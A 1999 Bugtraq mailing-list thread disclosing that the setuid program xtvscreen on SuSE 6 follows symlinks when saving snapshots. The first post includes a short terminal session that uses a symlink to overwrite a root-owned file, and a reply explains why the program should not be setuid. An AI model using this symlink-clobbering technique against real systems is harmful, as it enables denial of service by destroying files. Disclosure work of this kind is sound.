Date: Thu, 18 Feb 1999 15:54:24 +0000
From: Andre Cruz <afafc@CAMOES.RNL.IST.UTL.PT>
To: BUGTRAQ@netspace.org
Subject: xtvscreen and suse 6

You can use xtvscreen to overwrite any file on the system.
Xtvscreen has a function to capture a snapshot and will write it as
pic000.pnm, pic001.pnm, etc in it's working directory. It follows
symlinks.
root@korn:/tmp > ls -l exp
-rw-r--r--   1 root     root            4 Feb 18 15:42 exp
edevil@korn:~ > ln -s /tmp/exp pic000.pnm
edevil@korn:~ > xtvscreen
Sound mixer initialized !
Using Visual TrueColor
msize: 0x00640000
/*
Start->Capture goes here
Start->Snapshot goes here */
[1]+  Stopped                 xtvscreen
edevil@korn:~ > cd /tmp
edevil@korn:/tmp > ls -l exp
-rw-r--r--   1 root     root       453135 Feb 18 15:47 exp
edevil@korn:/tmp >
I don't know how to write arbitrary data to the file but it can be used
for DoS.
If this is already known I'm sorry.

---
Andre Cruz
afafc@camoes.rnl.ist.utl.pt

------------------------------------------------------------------------

Date: Thu, 18 Feb 1999 22:51:00 +0000
From: Alan Cox <alan@LXORGUK.UKUU.ORG.UK>
To: BUGTRAQ@netspace.org
Subject: Re: xtvscreen and suse 6

> You can use xtvscreen to overwrite any file on the system.
> Xtvscreen has a function to capture a snapshot and will write it as

Xtvscreen really should not be installed setuid. The only reason to do so
is because something has to tell the capture card where the frame buffer is.
This should be the Xserver (patched), or one of the small helper applications
available for this.

Alan